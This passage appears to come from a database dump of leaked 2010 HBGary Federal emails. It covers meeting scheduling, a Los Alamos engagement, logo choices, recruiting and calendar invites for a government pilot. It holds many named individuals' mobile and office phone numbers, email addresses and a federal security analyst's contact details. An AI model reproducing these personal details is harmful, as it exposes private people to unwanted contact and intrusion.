768-0186\r\n\r\njfarrell@icscorp.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, August 12, 2010\r\n1:06 PM\r\nTo: John Farrell\r\nSubject: Re: Discuss new business\r\nopportunities?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAlmost there\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 12, 2010, at 1:08 PM, John Farrell &lt;jfarrell@icscorp.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI am here at Greenberry\'s. Give me a call if you need\r\nto reschedule. Thanks\r\nJohn\r\n3017680186\r\n\r\n----- Original Message -----\r\nFrom: John Farrell\r\nTo: \'aaron@hbgary.com\' &lt;aaron@hbgary.com&gt;\r\nSent: Mon Jul 26 15:00:36 2010\r\nSubject: Re: Discuss new business opportunities?\r\n\r\nAaron,\r\nGreetings. Hope all is well. Give me a good time and number to reach you. Let\'s\r\ncatch up soon.\r\nJohn\r\n301.768.0186 cell\r\n\r\n----- Original Message -----\r\nFrom: John Farrell\r\nTo: aaron@hbgary.com &lt;aaron@hbgary.com&gt;\r\nSent: Wed Jun 23 16:39:18 2010\r\nSubject: Discuss new business opportunities?\r\n\r\nAaron,\r\n\r\n\r\n\r\nHow are things going? When are you available to talk about joint business\r\nopportunities? I&#8217;m at ICS now and working to expand their business development\r\nefforts. We just won a contract at MSC and we&#8217;re chasing several security\r\nopportunities across DOD, Civilian and IC. Let me know your schedule and let&#8217;s\r\nget together soon.\r\n\r\n\r\n\r\nJohn\r\n\r\n\r\n\r\nJohn M. Farrell\r\n\r\nDirector of Technical Services\r\n\r\nIntegrated Communication Solutions, Inc.\r\n\r\n(301) 768-0186\r\n\r\njfarrell@icscorp.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16532,'aaron_hbgary_com/16532.html'),(10215,'2010-08-12','\"Jerry McClure\" <Jerry.McClure@agilex.com>','/aaron@hbgary.com/new/1297007963.M346461P14101Q5070.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ira Entis\" <Ira.Entis@agilex.com>,\"Ted Vera\" <ted@hbgary.com>','RE: LANL Delay','\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n&nbsp;\r\nWe have formalized the agreements with LANL and have received premission to proceed.&nbsp; They want you to start Monday 8/23 so you would need to fly in Sunday evening.&nbsp; Travel money has been approved for you and the hotel (I will get\r\n the specifics) they want you to stay at is a casino on and indian reservation and really nice.&nbsp; LANL wants a telecom next week sometime with you to discuss.&nbsp; I will set it up once I know some dates that are good for them and you.&nbsp; Do you see any issue with\r\n anything I have stated above?&nbsp; Thanks\r\n&nbsp;\r\nJerry\r\n&nbsp;\r\n\r\n\r\nFrom: Ted Vera [ted@hbgary.com]\r\nSent: Thursday, August 05, 2010 12:09 PM\r\nTo: Aaron Barr; Jerry McClure; Ira Entis\r\nCc: mark@hbgary.com\r\nSubject: Re: LANL Delay\r\n\r\n\r\n\r\nThe week after would work, but we\'ll be at the G-First Conference in San Antonio the week of Aug 15th.\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\nOn Thu, Aug 5, 2010 at 8:02 AM, Aaron Barr \r\n&lt;aaron@hbgary.com&gt; wrote:\r\n\r\nWe can accommodate. &nbsp;As long as we have about a week or so heads up to make sure we can clear schedules for the activity.\r\n&nbsp;so \r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 5, 2010, at 10:00 AM, Jerry McClure wrote:\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThere appears to be some delay with LANL as we work out the security language risk.&nbsp; LANL asked if there was some flexibility in your schedule to push the start to August\r\n 15th&nbsp;or maybe even the week after&nbsp; What do you say?\r\n\r\n&nbsp;\r\n\r\nJerry\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\nOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\nwww.hbgary.com &nbsp;| &nbsp;ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n',1250,'aaron_hbgary_com/1250.html'),(10216,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007963.M576498P14101Q5071.eml','\"Maria Lucas\" <maria@hbgary.com>','Fwd: LANL Delay','Looks like we will be insure.Sent from my iPhoneBegin forwarded message:From: Jerry McClure &lt;Jerry.McClure@agilex.com&gt;\r\nDate: August 12, 2010 6:16:49 PM EDTTo: Ted Vera &lt;ted@hbgary.com&gt;, Aaron Barr &lt;aaron@hbgary.com&gt;, Ira Entis &lt;Ira.Entis@agilex.com&gt;\r\nCc: &quot;mark@hbgary.com&quot; &lt;mark@hbgary.com&gt;Subject: RE: LANL Delay\r\n\r\n\r\nAaron and Ted,\r\n \r\nWe have formalized the agreements with LANL and have received premission to proceed.  They want you to start Monday 8/23 so you would need to fly in Sunday evening.  Travel money has been approved for you and the hotel (I will get\r\n the specifics) they want you to stay at is a casino on and indian reservation and really nice.  LANL wants a telecom next week sometime with you to discuss.  I will set it up once I know some dates that are good for them and you.  Do you see any issue with\r\n anything I have stated above?  Thanks\r\n \r\nJerry\r\n \r\n\r\n\r\nFrom: Ted Vera [ted@hbgary.com]\r\nSent: Thursday, August 05, 2010 12:09 PM\r\nTo: Aaron Barr; Jerry McClure; Ira Entis\r\nCc: mark@hbgary.com\r\nSubject: Re: LANL Delay\r\n\r\n\r\n\r\nThe week after would work, but we&#39;ll be at the G-First Conference in San Antonio the week of Aug 15th.\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\nOn Thu, Aug 5, 2010 at 8:02 AM, Aaron Barr \r\n&lt;aaron@hbgary.com&gt; wrote:\r\n\r\nWe can accommodate.  As long as we have about a week or so heads up to make sure we can clear schedules for the activity.\r\n so \r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 5, 2010, at 10:00 AM, Jerry McClure wrote:\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nThere appears to be some delay with LANL as we work out the security language risk.  LANL asked if there was some flexibility in your schedule to push the start to August\r\n 15th or maybe even the week after  What do you say?\r\n\r\n \r\n\r\nJerry\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2821,'aaron_hbgary_com/2821.html'),(10217,'2010-08-12','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297007963.M839644P14101Q5072.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: We voted','yesOn Thu, Aug 12, 2010 at 3:53 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nBetter than red?\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 12, 2010, at 5:15 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n&gt; We like the green.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; --\r\n&gt; Ted Vera  |  President  |  HBGary Federal\r\n&gt; Office 916-459-4727x118  | Mobile 719-237-8623\r\n&gt; www.hbgary.com  |  ted@hbgary.com\r\n&gt; &lt;HBGFedLogo.jpg&gt;\r\n&gt; &lt;HBGFedLogoBlack.jpg&gt;\r\n\r\n',4392,'aaron_hbgary_com/4392.html'),(10218,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007964.M262186P14101Q5074.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: LANL Delay','Did u need us to do something else there?Sent from my iPhoneOn Aug 12, 2010, at 6:40 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nCONGRATS\r\nOn Thu, Aug 12, 2010 at 3:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nLooks like we will be insure.Sent from my iPhone\r\nBegin forwarded message:\r\n\r\nFrom: Jerry McClure &lt;Jerry.McClure@agilex.com&gt;Date: August 12, 2010 6:16:49 PM EDT\r\nTo: Ted Vera &lt;ted@hbgary.com&gt;, Aaron Barr &lt;aaron@hbgary.com&gt;, Ira Entis &lt;Ira.Entis@agilex.com&gt;\r\n\r\nCc: &quot;mark@hbgary.com&quot; &lt;mark@hbgary.com&gt;\r\nSubject: RE: LANL Delay\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n \r\nWe have formalized the agreements with LANL and have received premission to proceed.  They want you to start Monday 8/23 so you would need to fly in Sunday evening.  Travel money has been approved for you and the hotel (I will get the specifics) they want you to stay at is a casino on and indian reservation and really nice.  LANL wants a telecom next week sometime with you to discuss.  I will set it up once I know some dates that are good for them and you.  Do you see any issue with anything I have stated above?  Thanks\r\n\r\n\r\n \r\nJerry\r\n \r\n\r\n\r\nFrom: Ted Vera [ted@hbgary.com]Sent: Thursday, August 05, 2010 12:09 PM\r\nTo: Aaron Barr; Jerry McClure; Ira Entis\r\nCc: mark@hbgary.comSubject: Re: LANL Delay\r\n\r\n\r\nThe week after would work, but we&#39;ll be at the G-First Conference in San Antonio the week of Aug 15th. \r\n\r\nTed\r\n\r\n\r\nOn Thu, Aug 5, 2010 at 8:02 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nWe can accommodate.  As long as we have about a week or so heads up to make sure we can clear schedules for the activity. \r\n so \r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 5, 2010, at 10:00 AM, Jerry McClure wrote:\r\n\r\n\r\n\r\nAaron,\r\n \r\nThere appears to be some delay with LANL as we work out the security language risk.  LANL asked if there was some flexibility in your schedule to push the start to August 15th or maybe even the week after  What do you say?\r\n\r\n\r\n \r\nJerry\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623\r\n\r\nwww.hbgary.com  |  ted@hbgary.com\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nemail: maria@hbgary.com   \r\n\r\n',8838,'aaron_hbgary_com/8838.html'),(10219,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007964.M457554P14101Q5075.eml','\"Mark Trynor\" <mark@hbgary.com>','Re: We voted','HmmmmmSent from my iPhoneOn Aug 12, 2010, at 6:32 PM, Mark Trynor &lt;mark@hbgary.com&gt; wrote:\r\nyesOn Thu, Aug 12, 2010 at 3:53 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nBetter than red?\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 12, 2010, at 5:15 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n&gt; We like the green.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; --\r\n&gt; Ted Vera  |  President  |  HBGary Federal\r\n&gt; Office 916-459-4727x118  | Mobile 719-237-8623\r\n&gt; www.hbgary.com  |  ted@hbgary.com\r\n&gt; &lt;HBGFedLogo.jpg&gt;\r\n&gt; &lt;HBGFedLogoBlack.jpg&gt;\r\n\r\n\r\n',11623,'aaron_hbgary_com/11623.html'),(10220,'2010-08-12','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007964.M65140P14101Q5073.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: LANL Delay','CONGRATS\r\nOn Thu, Aug 12, 2010 at 3:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nLooks like we will be insure.Sent from my iPhone\r\nBegin forwarded message:\r\n\r\nFrom: Jerry McClure &lt;Jerry.McClure@agilex.com&gt;Date: August 12, 2010 6:16:49 PM EDTTo: Ted Vera &lt;ted@hbgary.com&gt;, Aaron Barr &lt;aaron@hbgary.com&gt;, Ira Entis &lt;Ira.Entis@agilex.com&gt;\r\nCc: &quot;mark@hbgary.com&quot; &lt;mark@hbgary.com&gt;Subject: RE: LANL Delay\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n \r\nWe have formalized the agreements with LANL and have received premission to proceed.  They want you to start Monday 8/23 so you would need to fly in Sunday evening.  Travel money has been approved for you and the hotel (I will get the specifics) they want you to stay at is a casino on and indian reservation and really nice.  LANL wants a telecom next week sometime with you to discuss.  I will set it up once I know some dates that are good for them and you.  Do you see any issue with anything I have stated above?  Thanks\r\n\r\n \r\nJerry\r\n \r\n\r\n\r\nFrom: Ted Vera [ted@hbgary.com]Sent: Thursday, August 05, 2010 12:09 PMTo: Aaron Barr; Jerry McClure; Ira Entis\r\nCc: mark@hbgary.comSubject: Re: LANL Delay\r\n\r\nThe week after would work, but we&#39;ll be at the G-First Conference in San Antonio the week of Aug 15th. \r\n\r\nTed\r\n\r\n\r\nOn Thu, Aug 5, 2010 at 8:02 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nWe can accommodate.  As long as we have about a week or so heads up to make sure we can clear schedules for the activity. \r\n so \r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 5, 2010, at 10:00 AM, Jerry McClure wrote:\r\n\r\n\r\n\r\nAaron,\r\n \r\nThere appears to be some delay with LANL as we work out the security language risk.  LANL asked if there was some flexibility in your schedule to push the start to August 15th or maybe even the week after  What do you say?\r\n\r\n \r\nJerry\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',2696,'aaron_hbgary_com/2696.html'),(10221,'2010-08-12','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007964.M668793P14101Q5076.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','Re: LANL Delay','Rich is scheduled for the POC/Pilot on Monday.  Penny was going to ask Ted to do this if he was already there but plans are in place.\r\n \r\nMaybe Ted can plan to stop by the lab when he is there and see what is going on because after Rich leaves he intends to roll out AD to more systems.\r\nOn Thu, Aug 12, 2010 at 3:54 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nDid u need us to do something else there?Sent from my iPhone\r\nOn Aug 12, 2010, at 6:40 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\nCONGRATS\r\nOn Thu, Aug 12, 2010 at 3:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nLooks like we will be insure.Sent from my iPhone\r\nBegin forwarded message:\r\n\r\nFrom: Jerry McClure &lt;Jerry.McClure@agilex.com&gt;Date: August 12, 2010 6:16:49 PM EDT\r\nTo: Ted Vera &lt;ted@hbgary.com&gt;, Aaron Barr &lt;aaron@hbgary.com&gt;, Ira Entis &lt;Ira.Entis@agilex.com&gt;\r\nCc: &quot;mark@hbgary.com&quot; &lt;mark@hbgary.com&gt;\r\nSubject: RE: LANL Delay\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n \r\nWe have formalized the agreements with LANL and have received premission to proceed.  They want you to start Monday 8/23 so you would need to fly in Sunday evening.  Travel money has been approved for you and the hotel (I will get the specifics) they want you to stay at is a casino on and indian reservation and really nice.  LANL wants a telecom next week sometime with you to discuss.  I will set it up once I know some dates that are good for them and you.  Do you see any issue with anything I have stated above?  Thanks\r\n\r\n \r\nJerry\r\n \r\n\r\n\r\nFrom: Ted Vera [ted@hbgary.com]Sent: Thursday, August 05, 2010 12:09 PM\r\nTo: Aaron Barr; Jerry McClure; Ira EntisCc: mark@hbgary.com\r\nSubject: Re: LANL Delay\r\n\r\nThe week after would work, but we&#39;ll be at the G-First Conference in San Antonio the week of Aug 15th. \r\n\r\nTed\r\n\r\n\r\nOn Thu, Aug 5, 2010 at 8:02 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nWe can accommodate.  As long as we have about a week or so heads up to make sure we can clear schedules for the activity. \r\n so \r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 5, 2010, at 10:00 AM, Jerry McClure wrote:\r\n\r\n\r\n\r\nAaron,\r\n \r\nThere appears to be some delay with LANL as we work out the security language risk.  LANL asked if there was some flexibility in your schedule to push the start to August 15th or maybe even the week after  What do you say?\r\n\r\n \r\nJerry\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   -- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n',9367,'aaron_hbgary_com/9367.html'),(10222,'2010-08-12','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297007964.M912292P14101Q5077.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: We voted','it&#39;s more military to go along with that federal feeling.  you know it&#39;s an art thing.On Thu, Aug 12, 2010 at 4:55 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHmmmmmSent from my iPhone\r\nOn Aug 12, 2010, at 6:32 PM, Mark Trynor &lt;mark@hbgary.com&gt; wrote:\r\nyesOn Thu, Aug 12, 2010 at 3:53 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nBetter than red?\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 12, 2010, at 5:15 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n&gt; We like the green.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; --\r\n&gt; Ted Vera  |  President  |  HBGary Federal\r\n&gt; Office 916-459-4727x118  | Mobile 719-237-8623\r\n&gt; www.hbgary.com  |  ted@hbgary.com\r\n\r\n&gt; &lt;HBGFedLogo.jpg&gt;\r\n&gt; &lt;HBGFedLogoBlack.jpg&gt;\r\n\r\n\r\n\r\n',11312,'aaron_hbgary_com/11312.html'),(10223,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007965.M146908P14101Q5078.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,,','Re: LANL Delay','Sounds good.Sent from my iPhoneOn Aug 12, 2010, at 6:56 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nRich is scheduled for the POC/Pilot on Monday.  Penny was going to ask Ted to do this if he was already there but plans are in place.\r\n \r\nMaybe Ted can plan to stop by the lab when he is there and see what is going on because after Rich leaves he intends to roll out AD to more systems.\r\nOn Thu, Aug 12, 2010 at 3:54 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nDid u need us to do something else there?Sent from my iPhone\r\nOn Aug 12, 2010, at 6:40 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\nCONGRATS\r\nOn Thu, Aug 12, 2010 at 3:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nLooks like we will be insure.Sent from my iPhone\r\nBegin forwarded message:\r\n\r\nFrom: Jerry McClure &lt;Jerry.McClure@agilex.com&gt;\r\nDate: August 12, 2010 6:16:49 PM EDT\r\nTo: Ted Vera &lt;ted@hbgary.com&gt;, Aaron Barr &lt;aaron@hbgary.com&gt;, Ira Entis &lt;Ira.Entis@agilex.com&gt;\r\n\r\nCc: &quot;mark@hbgary.com&quot; &lt;mark@hbgary.com&gt;\r\n\r\nSubject: RE: LANL Delay\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n \r\nWe have formalized the agreements with LANL and have received premission to proceed.  They want you to start Monday 8/23 so you would need to fly in Sunday evening.  Travel money has been approved for you and the hotel (I will get the specifics) they want you to stay at is a casino on and indian reservation and really nice.  LANL wants a telecom next week sometime with you to discuss.  I will set it up once I know some dates that are good for them and you.  Do you see any issue with anything I have stated above?  Thanks\r\n\r\n\r\n \r\nJerry\r\n \r\n\r\n\r\nFrom: Ted Vera [ted@hbgary.com]\r\nSent: Thursday, August 05, 2010 12:09 PM\r\nTo: Aaron Barr; Jerry McClure; Ira EntisCc: mark@hbgary.com\r\n\r\nSubject: Re: LANL Delay\r\n\r\nThe week after would work, but we&#39;ll be at the G-First Conference in San Antonio the week of Aug 15th. \r\n\r\nTed\r\n\r\n\r\nOn Thu, Aug 5, 2010 at 8:02 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nWe can accommodate.  As long as we have about a week or so heads up to make sure we can clear schedules for the activity. \r\n so \r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 5, 2010, at 10:00 AM, Jerry McClure wrote:\r\n\r\n\r\n\r\nAaron,\r\n \r\nThere appears to be some delay with LANL as we work out the security language risk.  LANL asked if there was some flexibility in your schedule to push the start to August 15th or maybe even the week after  What do you say?\r\n\r\n\r\n \r\nJerry\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623\r\n\r\nwww.hbgary.com  |  ted@hbgary.com\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nemail: maria@hbgary.com   \r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n\r\n',6914,'aaron_hbgary_com/6914.html'),(10224,'2010-08-12','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007965.M383358P14101Q5079.eml','\"Aaron Barr\" <aaron@hbgary.com>,brian_n._christos@oa.eop.gov,\"Rich Cummings\" <rich@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Updated Invitation: EOP Active Defense Pilot Pilot Brian (202) 395-3304 Rich ... @ Thu Aug 19, 2010 (aaron@hbgary.com)','This event has been changed. more details &raquo;EOP Active Defense Pilot Pilot  Brian (202) 395-3304 Rich 703-999-5012View your event at http://www.google.com/calendar/hosted/hbgary.com/event?action=VIEW&amp;eid=cGI4MnI0ajdwb3A0cTFlbWdyb2h0NHEzbWsgYWFyb25AaGJnYXJ5LmNvbQ&amp;tok=MTYjbWFyaWFAaGJnYXJ5LmNvbTg4MDRmMDYzOGQ5ZDIzMTFkMGI3ZDNjNTJmN2VkOGNjOWZmOTAwZTM&amp;ctz=America%2FNew_York&amp;hl=en.WhenThu Aug 19, 2010WhereChanged: 725 17th Street NW, D.C. In the big red brick building close to the White House (map)Calendaraaron@hbgary.comWho&#x2022;maria@hbgary.com - organizer&#x2022;Aaron Barr&#x2022;brian_n._christos@oa.eop.gov&#x2022;Rich Cummings&#x2022;Penny LeavyGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for updated invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',16607,'aaron_hbgary_com/16607.html'),(10225,'2010-08-12','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007965.M640201P14101Q5080.eml','\"Aaron Barr\" <aaron@hbgary.com>,brian_n._christos@oa.eop.gov,\"Rich Cummings\" <rich@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Updated Invitation: EOP Active Defense Pilot Pilot Brian (202) 395-3304 & Off... @ Thu Aug 19, 2010 (aaron@hbgary.com)','This event has been changed. more details &raquo;Changed: EOP Active Defense Pilot Pilot  Brian (202) 395-3304 &amp; Office (202) 395-2948 Rich 703-999-5012Changed: \r\nBrian Christos\r\nLead Security Analyst\r\nSecurity Operations Center\r\nInformation Assurance Directorate\r\nOffice of Administration\r\nExecutive Office of the President\r\nOffice (202) 395-2948WhenThu Aug 19, 2010Where725 17th Street NW, D.C. In the big red brick building close to the White House (map)Calendaraaron@hbgary.comWho&#x2022;maria@hbgary.com - organizer&#x2022;Aaron Barr&#x2022;brian_n._christos@oa.eop.gov&#x2022;Rich Cummings&#x2022;Penny LeavyGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for updated invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',9515,'aaron_hbgary_com/9515.html'),(10226,'2010-08-13','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297007966.M461604P14101Q5081.eml','\"Aaron Barr\" <aaron@hbgary.com>','Position descriptions','\r\n\r\n\r\n\r\n\r\nPosition descriptions\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nI am trying to open up some reqs to start recruiting for ROMAS.&nbsp; I have attached my first stab at the position descriptions.&nbsp; Since you spent time out there can you take a look to see if the descriptions are appropriate for that market?&nbsp; It may be heavy handed (too CTC like) but I want to put together a team of exceptional people.&nbsp; I\'d hate to put it out and not be sensitive to the market.\r\n\r\nLet me know what you think.\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n',13164,'aaron_hbgary_com/13164.html'),(10227,'2010-08-13','\"Ed Wallach\" <ed@wallachsearch.com>','/aaron@hbgary.com/new/1297007966.M676770P14101Q5082.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Hello!','Hello Aaron\r\nWe should chat. I just did a search for vulnerability researchers, pen testers & malware analysts. I\'m sure you\'d want to see some of the resumes!\r\nThanks-\r\n\r\nEd\r\n\r\n~~~~~~~~~~~~~~~~~\r\nEd Wallach\r\nPresident & CEO \r\nEd Wallach Search Group\r\n301-365-3291 office\r\n301-613-0629 cell\r\nwww.wallachsearch.com\r\ned@wallachsearch.com\r\n\r\nPlease consider the environment before printing this email. \r\n\r\nOn Aug 10, 2010, at 9:05 PM, Aaron Barr  wrote:\r\n\r\n> Thanks Ed.\r\n> \r\n> How does that work?  I am actually in some need for cleared malware analysts, reverse engineers in the virginia and maryland areas.\r\n> \r\n> Aaron\r\n> \r\n> \r\n\r\n',8478,'aaron_hbgary_com/8478.html'),(10228,'2010-08-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007966.M889175P14101Q5083.eml','\"Aaron Barr\" <adbarr@mac.com>','How Crisp Thinking Aims To Catch A Predator, Griefer, Gold Farmer, Cyber-Bully… [TCTV]','How Crisp Thinking Aims To Catch A Predator, Griefer, Gold Farmer, Cyber-Bully… [TCTV]As a Brit in Silicon Valley, I’m always encouraged when I hear about my fellow countrymen making headway amid their Yank counterparts. And it’s particularly heartening when those countrymen are building companies that promise to stamp out spamming, griefing, trolling and even more nefarious behaviour online.\r\n\r\nOne such man is Peter Maude, CTO of Crisp Thinking, a UK-based start-up that offers social networks as well as brands like Nickelodeon, Sony and Lego  a way to detect everything from irritating bullies to dangerous child predators amongst their users.\r\n\r\nI spoke to Maude on Skype to ask him how Crisp Thinking’s technology works and what happens after it detects a bad guy lurking in the shadows.\r\n\r\n         \r\n\r\n\r\n     \r\nSent from my iPad\r\n',9142,'aaron_hbgary_com/9142.html'),(10229,'2010-08-13','arc@westfields.net','/aaron@hbgary.com/new/1297007967.M113775P14101Q5084.eml','federal@hbgary.com','COMM / Expedition Announcement Posting','\r\nAn announcement has been posted on the NRO/COMM-Expedition effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select COMM /Expedition from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on 